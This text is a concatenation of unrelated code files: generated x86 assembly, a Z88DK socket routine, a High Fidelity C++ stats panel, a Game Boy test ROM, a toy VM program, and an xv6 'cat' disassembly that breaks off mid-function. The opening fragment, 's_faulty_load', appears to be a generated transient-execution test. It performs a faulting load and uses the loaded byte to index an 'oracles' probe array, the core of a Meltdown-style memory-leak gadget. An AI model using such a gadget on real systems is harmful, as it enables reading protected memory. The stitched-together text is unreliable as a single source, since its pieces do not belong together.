mov $0x6162636465666768, %rcx
movq %rcx, %xmm6
vmovups %ymm6, (%rbp)
nop
nop
nop
add $19669, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %r9
push %rbp
push %rcx
push %rsi
// Store
lea addresses_normal+0x1f34c, %r14
nop
inc %rbp
mov $0x5152535455565758, %r9
movq %r9, %xmm7
movups %xmm7, (%r14)
nop
nop
nop
xor $18327, %r14
// Store
lea addresses_RW+0x1af7a, %r9
nop
nop
nop
nop
and $41646, %r10
mov $0x5152535455565758, %rsi
movq %rsi, %xmm4
movups %xmm4, (%r9)
nop
cmp %rcx, %rcx
// Store
lea addresses_WT+0x5bfa, %rsi
nop
nop
nop
inc %r14
mov $0x5152535455565758, %rcx
movq %rcx, (%rsi)
add $3820, %r9
// Faulty Load
lea addresses_normal+0x143fa, %r14
nop
nop
nop
nop
add $65380, %rbp
movb (%r14), %r9b
lea oracles, %r10
and $0xff, %r9
shlq $12, %r9
mov (%r10,%r9,1), %r9
pop %rsi
pop %rcx
pop %rbp
pop %r9
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 11}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
; process
; int recv_callee(int sockfd, const void *buf, int len, int flags);
; The flags field is not currently used by the Spectranet implementation
; of recv, but it must be provided for compatibility.
PUBLIC recv_callee
PUBLIC ASMDISP_RECV_CALLEE
include "spectranet.asm"
.recv_callee
pop hl ; return addr
pop ix ; flags
pop bc ; length of buffer
pop de ; buffer address
ex (sp), hl ; restore return address, sock in l
ld a, l ; sock in a
.asmentry
HLCALL RECV
jr c, err ; recv failed?
; bytes sent value in BC, move it to hl
ld h, b
ld l, c
ret
.err
ld hl, -1 ; error return - todo: set errno
ret
defc ASMDISP_RECV_CALLEE = asmentry - recv_callee
|
//
// Created by Anthony J. Thibault 2018/08/06
// Copyright 2018 High Fidelity, Inc.
//
// Distributed under the Apache License, Version 2.0.
// See the accompanying file LICENSE or http://www.apache.org/licenses/LICENSE-2.0.html
//
#include "AnimStats.h"
#include <avatar/AvatarManager.h>
#include <OffscreenUi.h>
#include "Menu.h"
HIFI_QML_DEF(AnimStats)
static AnimStats* INSTANCE{ nullptr };
AnimStats* AnimStats::getInstance() {
Q_ASSERT(INSTANCE);
return INSTANCE;
}
AnimStats::AnimStats(QQuickItem* parent) : QQuickItem(parent) {
INSTANCE = this;
}
void AnimStats::updateStats(bool force) {
QQuickItem* parent = parentItem();
if (!force) {
if (!Menu::getInstance()->isOptionChecked(MenuOption::AnimStats)) {
if (parent->isVisible()) {
parent->setVisible(false);
}
return;
} else if (!parent->isVisible()) {
parent->setVisible(true);
}
}
auto avatarManager = DependencyManager::get<AvatarManager>();
auto myAvatar = avatarManager->getMyAvatar();
auto debugAlphaMap = myAvatar->getSkeletonModel()->getRig().getDebugAlphaMap();
glm::vec3 position = myAvatar->getWorldPosition();
glm::quat rotation = myAvatar->getWorldOrientation();
glm::vec3 velocity = myAvatar->getWorldVelocity();
_positionText = QString("Position: (%1, %2, %3)").
arg(QString::number(position.x, 'f', 2)).
arg(QString::number(position.y, 'f', 2)).
arg(QString::number(position.z, 'f', 2));
emit positionTextChanged();
glm::vec3 eulerRotation = safeEulerAngles(rotation);
_rotationText = QString("Heading: %1").
arg(QString::number(glm::degrees(eulerRotation.y), 'f', 2));
emit rotationTextChanged();
// transform velocity into rig coordinate frame. z forward.
glm::vec3 localVelocity = Quaternions::Y_180 * glm::inverse(rotation) * velocity;
_velocityText = QString("Local Vel: (%1, %2, %3)").
arg(QString::number(localVelocity.x, 'f', 2)).
arg(QString::number(localVelocity.y, 'f', 2)).
arg(QString::number(localVelocity.z, 'f', 2));
emit velocityTextChanged();
// print if we are recentering or not.
_recenterText = "Recenter: ";
if (myAvatar->isFollowActive(CharacterController::FollowType::Rotation)) {
_recenterText += "Rotation ";
}
if (myAvatar->isFollowActive(CharacterController::FollowType::Horizontal)) {
_recenterText += "Horizontal ";
}
if (myAvatar->isFollowActive(CharacterController::FollowType::Vertical)) {
_recenterText += "Vertical ";
}
emit recenterTextChanged();
// print current standing vs sitting state.
if (myAvatar->getIsInSittingState()) {
_sittingText = "SittingState: Sit";
} else {
_sittingText = "SittingState: Stand";
}
emit sittingTextChanged();
// print current walking vs leaning state.
if (myAvatar->getIsInWalkingState()) {
_walkingText = "WalkingState: Walk";
} else {
_walkingText = "WalkingState: Lean";
}
emit walkingTextChanged();
// print current overrideJointText
int overrideJointCount = myAvatar->getOverrideJointCount();
_overrideJointText = QString("Override Joint Count: %1").arg(overrideJointCount);
emit overrideJointTextChanged();
// print current flowText
bool flowActive = myAvatar->getFlowActive();
_flowText = QString("Flow: %1").arg(flowActive ? "enabled" : "disabled");
emit flowTextChanged();
// print current networkGraphText
bool networkGraphActive = myAvatar->getNetworkGraphActive();
_networkGraphText = QString("Network Graph: %1").arg(networkGraphActive ? "enabled" : "disabled");
emit networkGraphTextChanged();
// update animation debug alpha values
QStringList newAnimAlphaValues;
qint64 now = usecTimestampNow();
for (auto& iter : debugAlphaMap) {
QString key = iter.first;
float alpha = std::get<0>(iter.second);
auto prevIter = _prevDebugAlphaMap.find(key);
if (prevIter != _prevDebugAlphaMap.end()) {
float prevAlpha = std::get<0>(prevIter->second);
if (prevAlpha != alpha) {
// change detected: reset timer
_animAlphaValueChangedTimers[key] = now;
}
} else {
// new value: start timer
_animAlphaValueChangedTimers[key] = now;
}
AnimNodeType type = std::get<1>(iter.second);
if (type == AnimNodeType::Clip) {
// figure out the grayScale color of this line.
const float LIT_TIME = 20.0f;
const float FADE_OUT_TIME = 1.0f;
float grayScale = 0.0f;
float secondsElapsed = (float)(now - _animAlphaValueChangedTimers[key]) / (float)USECS_PER_SECOND;
if (secondsElapsed < LIT_TIME) {
grayScale = 1.0f;
} else if (secondsElapsed < LIT_TIME + FADE_OUT_TIME) {
grayScale = (FADE_OUT_TIME - (secondsElapsed - LIT_TIME)) / FADE_OUT_TIME;
} else {
grayScale = 0.0f;
}
if (grayScale > 0.0f) {
// append grayScaleColor to start of debug string
newAnimAlphaValues << QString::number(grayScale, 'f', 2) + "|" + key + ": " + QString::number(alpha, 'f', 3);
}
}
}
_animAlphaValues = newAnimAlphaValues;
_prevDebugAlphaMap = debugAlphaMap;
emit animAlphaValuesChanged();
// update animation anim vars
_animVarsList.clear();
auto animVars = myAvatar->getSkeletonModel()->getRig().getAnimVars().toDebugMap();
for (auto& iter : animVars) {
QString key = iter.first;
QString value = iter.second;
auto prevIter = _prevAnimVars.find(key);
if (prevIter != _prevAnimVars.end()) {
QString prevValue = prevIter->second;
if (value != prevValue) {
// change detected: reset timer
_animVarChangedTimers[key] = now;
}
} else {
// new value: start timer
_animVarChangedTimers[key] = now;
}
// figure out the grayScale color of this line.
const float LIT_TIME = 20.0f;
const float FADE_OUT_TIME = 0.5f;
float grayScale = 0.0f;
float secondsElapsed = (float)(now - _animVarChangedTimers[key]) / (float)USECS_PER_SECOND;
if (secondsElapsed < LIT_TIME) {
grayScale = 1.0f;
} else if (secondsElapsed < LIT_TIME + FADE_OUT_TIME) {
grayScale = (FADE_OUT_TIME - (secondsElapsed - LIT_TIME)) / FADE_OUT_TIME;
} else {
grayScale = 0.0f;
}
if (grayScale > 0.0f) {
// append grayScaleColor to start of debug string
_animVarsList << QString::number(grayScale, 'f', 2) + "|" + key + ": " + value;
}
}
_prevAnimVars = animVars;
emit animVarsChanged();
// animation state machines
_animStateMachines.clear();
auto stateMachineMap = myAvatar->getSkeletonModel()->getRig().getStateMachineMap();
for (auto& iter : stateMachineMap) {
_animStateMachines << iter.second;
}
emit animStateMachinesChanged();
}
|
.size 8000
.text@48
jp lstatint
.text@100
jp lbegin
.data@143
c0
.text@150
lbegin:
ld a, 00
ldff(ff), a
ld a, 30
ldff(00), a
ld a, 01
ldff(4d), a
stop, 00
ld a, ff
ldff(45), a
ld b, 91
call lwaitly_b
ld hl, fe00
ld d, 10
ld a, d
ld(hl++), a
ld a, 08
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld(hl++), a
inc l
inc l
ld(hl++), a
ld a, 18
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 20
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 28
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 30
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 38
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 40
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 48
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 50
ld(hl++), a
ld a, 40
ldff(41), a
ld a, 02
ldff(ff), a
xor a, a
ldff(0f), a
ei
ld a, 01
ldff(45), a
ld c, 41
ld b, 03
ld a, b3
ldff(40), a
ld a, 04
ldff(4b), a
.text@1000
lstatint:
nop
.text@109e
ldff a, (c)
and a, b
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
pop af
ld(9800), a
ld bc, 7a00
ld hl, 8000
ld d, a0
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
|
/****************************************************************************
* Copyright (c) 2018-2019 by the Cabana authors *
* All rights reserved. *
* *
* This file is part of the Cabana library. Cabana is distributed under a *
* BSD 3-clause license. For the licensing terms see the LICENSE file in *
* the top-level directory. *
* *
* SPDX-License-Identifier: BSD-3-Clause *
****************************************************************************/
#include <Cuda/TestCuda_Category.hpp>
#include <tstSlice.hpp>
|
# Print 10 down to 1
PUSH 10
STA A
PUSH 1
STA B
loop:
# Print A value to the console
LDA A
SYS 3
# Print break line
PUSH 10
SYS 4
POP
LDA B
LDA A
DEC
STA A
LDA A
GEQ
JT Loop
HLT
|
_cat: file format elf32-i386
Disassembly of section .text:
00000000 <cat>:
char buf[512];
void
cat(int fd)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 18 sub $0x18,%esp
int n;
while((n = read(fd, buf, sizeof(buf))) > 0)
6: eb 15 jmp 1d <cat+0x1d>
write(1, buf, n);
8: 83 ec 04 sub $0x4,%esp
b: ff 75 f4 pushl -0xc(%ebp)
e: 68 80 0b 00 00 push $0xb80
13: 6a 01 push $0x1
15: e8 6c 03 00 00 call 386 <write>
1a: 83 c4 10 add $0x10,%esp
void
cat(int fd)
{
int n;
while((n = read(fd, buf, sizeof(buf))) > 0)
1d: 83 ec 04 sub $0x4,%esp
20: 68 00 02 00 00 push $0x200
25: 68 80 0b 00 00 push $0xb80
2a: ff 75 08 pushl 0x8(%ebp)
2d: e8 4c 03 00 00 call 37e <read>
32: 83 c4 10 add $0x10,%esp
35: 89 45 f4 mov %eax,-0xc(%ebp)
38: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
3c: 7f ca jg 8 <cat+0x8>
write(1, buf, n);
if(n < 0){
3e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
42: 79 17 jns 5b <cat+0x5b>
printf(1, "cat: read error\n");
44: 83 ec 08 sub $0x8,%esp
47: 68 9b 08 00 00 push $0x89b
4c: 6a 01 push $0x1
4e: e8 92 04 00 00 call 4e5 <printf>
53: 83 c4 10 add $0x10,%esp
exit();
56: e8 0b 03 00 00 call 366 <exit>
}
}
5b: 90 nop
5c: c9 leave
5d: c3 ret
0000005e <main>:
int
main(int argc, char *argv[])
{
5e: 8d 4c 24 04 lea 0x4(%esp),%ecx
62: 83 e4 f0 and $0xfffffff0,%esp
65: ff 71 fc pushl -0x4(%ecx)
68: 55 push %ebp
69: 89 e5 mov %esp,%ebp
6b: 53 push %ebx
6c: 51 push %ecx
6d: 83 ec 10 sub $0x10,%esp
70: 89 cb mov %ecx,%ebx
int fd, i;
if(argc <= 1){
72: 83 3b 01 cmpl $0x1,(%ebx)
75: 7f 12 jg 89 <main+0x2b>
cat(0);
77: 83 ec 0c sub $0xc,%esp
7a: 6a 00 push $0x0
7c: e8 7f ff ff ff call 0 <cat>
81: 83 c4 10 add $0x10,%esp
exit();
84: e8 dd 02 00 00 call 366 <exit>
}
for(i = 1; i < argc; i++){
89: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp)
90: eb 71 jmp 103 <main+0xa5>
if((fd = open(argv[i], 0)) < 0){
92: 8b 45 f4 mov -0xc(%ebp),%eax
95: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
9c: 8b 43 04 mov 0x4(%ebx),%eax
9f: 01 d0 add %edx,%eax
a1: 8b 00 mov (%eax),%eax
a3: 83 ec 08 sub $0x8,%esp
a6: 6a 00 push $0x0
a8: 50 push %eax
a9: e8 f8 02 00 00 call 3a6 <open>
ae: 83 c4 10 add $0x10,%esp
b1: 89 45 f0 mov %eax,-0x10(%ebp)
b4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
b8: 79 29 jns e3 <main+0x85>
printf(1, "cat: cannot open %s\n", argv[i]);
ba: 8b 45 f4 mov -0xc(%ebp),%eax
bd: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
c4: 8b 43 04 mov 0x4(%ebx),%eax
c7: 01 d0 add %edx,%eax
c9: 8b 00 mov (%eax),%eax
cb: 83 ec 04 sub $0x4,%esp
ce: 50 push %eax
cf: 68 ac 08 00 00 push $0x8ac
d4: 6a 01 push $0x1
d6: e8 0a 04 00 00 call 4e5 <printf>
db: 83 c4 10 add $0x10,%esp
exit();
de: e8 83 02 00 00 call 366 <exit>
}
cat(fd);
e3: 83 ec 0c sub $0xc,%esp
e6: ff 75 f0 pushl -0x10(%ebp)
e9: e8 12 ff ff ff call 0 <cat>
ee: 83 c4 10 add $0x10,%esp
close(fd);
f1: 83 ec 0c sub $0xc,%esp
f4: ff 75 f0 pushl -0x10(%ebp)
f7: e8 92 02 00 00 call 38e <close>
fc: 83 c4 10 add $0x10,%esp
if(argc <= 1){
cat(0);
exit();
}
for(i = 1; i < argc; i++){
ff: 83 45 f4 01 addl $0x1,-0xc(%ebp)
103: 8b 45 f4 mov -0xc(%ebp),%eax
106: 3b 03 cmp (%ebx),%eax
108: 7c 88 jl 92 <main+0x34>
exit();
}
cat(fd);
close(fd);
}
exit();
10a: e8 57 02 00 00 call 366 <exit>
0000010f <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
10f: 55 push %ebp
110: 89 e5 mov %esp,%ebp
112: 57 push %edi
113: 53 push %ebx
asm volatile("cld; rep stosb" :
114: 8b 4d 08 mov 0x8(%ebp),%ecx
117: 8b 55 10 mov 0x10(%ebp),%edx
11a: 8b 45 0c mov 0xc(%ebp),%eax
11d: 89 cb mov %ecx,%ebx
11f: 89 df mov %ebx,%edi
121: 89 d1 mov %edx,%ecx
123: fc cld
124: f3 aa rep stos %al,%es:(%edi)
126: 89 ca mov %ecx,%edx
128: 89 fb mov %edi,%ebx
12a: 89 5d 08 mov %ebx,0x8(%ebp)
12d: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
130: 90 nop
131: 5b pop %ebx
132: 5f pop %edi
133: 5d pop %ebp
134: c3 ret
00000135 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
135: 55 push %ebp
136: 89 e5 mov %esp,%ebp
138: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
13b: 8b 45 08 mov 0x8(%ebp),%eax
13e: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
141: 90 nop
142: 8b 45 08 mov 0x8(%ebp),%eax
145: 8d 50 01 lea 0x1(%eax),%edx
148: 89 55 08 mov %edx,0x8(%ebp)
14b: 8b 55 0c mov 0xc(%ebp),%edx
14e: 8d 4a 01 lea 0x1(%edx),%ecx
151: 89 4d 0c mov %ecx,0xc(%ebp)
154: 0f b6 12 movzbl (%edx),%edx
157: 88 10 mov %dl,(%eax)
159: 0f b6 00 movzbl (%eax),%eax
15c: 84 c0 test %al,%al
15e: 75 e2 jne 142 <strcpy+0xd>
;
return os;
160: 8b 45 fc mov -0x4(%ebp),%eax
}
163: c9 leave
164: c3 ret
00000165 <strcmp>:
int
strcmp(const char *p, const char *q)
{
165: 55 push %ebp
166: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
168: eb 08 jmp 172 <strcmp+0xd>
p++, q++;
16a: 83 45 08 01 addl $0x1,0x8(%ebp)
16e: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
172: 8b 45 08 mov 0x8(%ebp),%eax
175: 0f b6 00 movzbl (%eax),%eax
178: 84 c0 test %al,%al
17a: 74 10 je 18c <strcmp+0x27>
17c: 8b 45 08 mov 0x8(%ebp),%eax
17f: 0f b6 10 movzbl (%eax),%edx
182: 8b 45 0c mov 0xc(%ebp),%eax
185: 0f b6 00 movzbl (%eax),%eax
188: 38 c2 cmp %al,%dl
18a: 74 de je 16a <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
18c: 8b 45 08 mov 0x8(%ebp),%eax
18f: 0f b6 00 movzbl (%eax),%eax
192: 0f b6 d0 movzbl %al,%edx
195: 8b 45 0c mov 0xc(%ebp),%eax
198: 0f b6 00 movzbl (%eax),%eax
19b: 0f b6 c0 movzbl %al,%eax
19e: 29 c2 sub %eax,%edx
1a0: 89 d0 mov %edx,%eax
}
1a2: 5d pop %ebp
1a3: c3 ret
000001a4 <strlen>:
uint
strlen(char *s)
{
1a4: 55 push %ebp
1a5: 89 e5 mov %esp,%ebp
1a7: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
1aa: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
1b1: eb 04 jmp 1b7 <strlen+0x13>
1b3: 83 45 fc 01 addl $0x1,-0x4(%ebp)
1b7: 8b 55 fc mov -0x4(%ebp),%edx
1ba: 8b 45 08 mov 0x8(%ebp),%eax
1bd: 01 d0 add %edx,%eax
1bf: 0f b6 00 movzbl (%eax),%eax
1c2: 84 c0 test %al,%al
1c4: 75 ed jne 1b3 <strlen+0xf>
;
return n;
1c6: 8b 45 fc mov -0x4(%ebp),%eax
}
1c9: c9 leave
1ca: c3 ret
000001cb <memset>:
void*
memset(void *dst, int c, uint n)
{
1cb: 55 push %ebp
1cc: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
1ce: 8b 45 10 mov 0x10(%ebp),%eax
1d1: 50 push %eax
1d2: ff 75 0c pushl 0xc(%ebp)
1d5: ff 75 08 pushl 0x8(%ebp)
1d8: e8 32 ff ff ff call 10f <stosb>
1dd: 83 c4 0c add $0xc,%esp
return dst;
1e0: 8b 45 08 mov 0x8(%ebp),%eax
}
1e3: c9 leave
1e4: c3 ret
000001e5 <strchr>:
char*
strchr(const char *s, char c)
{
1e5: 55 push %ebp
1e6: 89 e5 mov %esp,%ebp
1e8: 83 ec 04 sub $0x4,%esp
1eb: 8b 45 0c mov 0xc(%ebp),%eax
1ee: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
1f1: eb 14 jmp 207 <strchr+0x22>
if(*s == c)
1f3: 8b 45 08 mov 0x8(%ebp),%eax
1f6: 0f b6 00 movzbl (%eax),%eax
1f9: 3a 45 fc cmp -0x4(%ebp),%al
1fc: 75 05 jne 203 <strchr+0x1e>
return (char*)s;
1fe: 8b 45 08 mov 0x8(%ebp),%eax
201: eb 13 jmp 216 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
203: 83 45 08 01 addl $0x1,0x8(%ebp)
207: 8b 45 08 mov 0x8(%ebp),%eax
20a: 0f b6 00 movzbl (%eax),%eax
20d: 84 c0 test %al,%al
20f: 75 e2 jne 1f3 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
211: b8 00 00 00 00 mov $0x0,%eax
}
216: c9 leave
217: c3 ret
00000218 <gets>:
char*
gets(char *buf, int max)
{
218: 55 push %ebp
219: 89 e5 mov %esp,%ebp
21b: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
21e: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
225: eb 42 jmp 269 <gets+0x51>
cc = read(0, &c, 1);
227: 83 ec 04 sub $0x4,%esp
22a: 6a 01 push $0x1
22c: 8d 45 ef lea -0x11(%ebp),%eax
22f: 50 push %eax
230: 6a 00 push $0x0
232: e8 47 01 00 00 call 37e <read>
237: 83 c4 10 add $0x10,%esp
23a: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
23d: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
241: 7e 33 jle 276 <gets+0x5e>
break;
buf[i++] = c;
243: 8b 45 f4 mov -0xc(%ebp),%eax
246: 8d 50 01 lea 0x1(%eax),%edx
249: 89 55 f4 mov %edx,-0xc(%ebp)
24c: 89 c2 mov %eax,%edx
24e: 8b 45 08 mov 0x8(%ebp),%eax
251: 01 c2 add %eax,%edx
253: 0f b6 45 ef movzbl -0x11(%ebp),%eax
257: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
259: 0f b6 45 ef movzbl -0x11(%ebp),%eax
25d: 3c 0a cmp $0xa,%al
25f: 74 16 je 277 <gets+0x5f>
261: 0f b6 45 ef movzbl -0x11(%ebp),%eax
265: 3c 0d cmp $0xd,%al
267: 74 0e je 277 <gets+0x5f>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
269: 8b 45 f4 mov -0xc(%ebp),%eax
26c: 83 c0 01 add $0x1,%eax
26f: 3b 45 0c cmp 0xc(%ebp),%eax
272: 7c b3 jl 227 <gets+0xf>
274: eb 01 jmp 277 <gets+0x5f>
cc = read(0, &c, 1);
if(cc < 1)
break;
276: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
277: 8b 55 f4 mov -0xc(%ebp),%edx
27a: 8b 45 08 mov 0x8(%ebp),%eax
27d: 01 d0 add %edx,%eax
27f: c6 00 00 movb $0x0,(%eax)
return buf;
282: 8b 45 08 mov 0x8(%ebp),%eax
}
285: c9 leave
286: c3 ret
00000287 <stat>:
int
stat(char *n, struct stat *st)
{
287: 55 push %ebp
288: 89 e5 mov %esp,%ebp
28a: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
28d: 83 ec 08 sub $0x8,%esp
290: 6a 00 push $0x0
292: ff 75 08 pushl 0x8(%ebp)
295: e8 0c 01 00 00 call 3a6 <open>
29a: 83 c4 10 add $0x10,%esp
29d: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
2a0: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2a4: 79 07 jns 2ad <stat+0x26>
return -1;
2a6: b8 ff ff ff ff mov $0xffffffff,%eax
2ab: eb 25 jmp 2d2 <stat+0x4b>
r = fstat(fd, st);
2ad: 83 ec 08 sub $0x8,%esp
2b0: ff 75 0c pushl 0xc(%ebp)
2b3: ff 75 f4 pushl -0xc(%ebp)
2b6: e8 03 01 00 00 call 3be <fstat>
2bb: 83 c4 10 add $0x10,%esp
2be: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
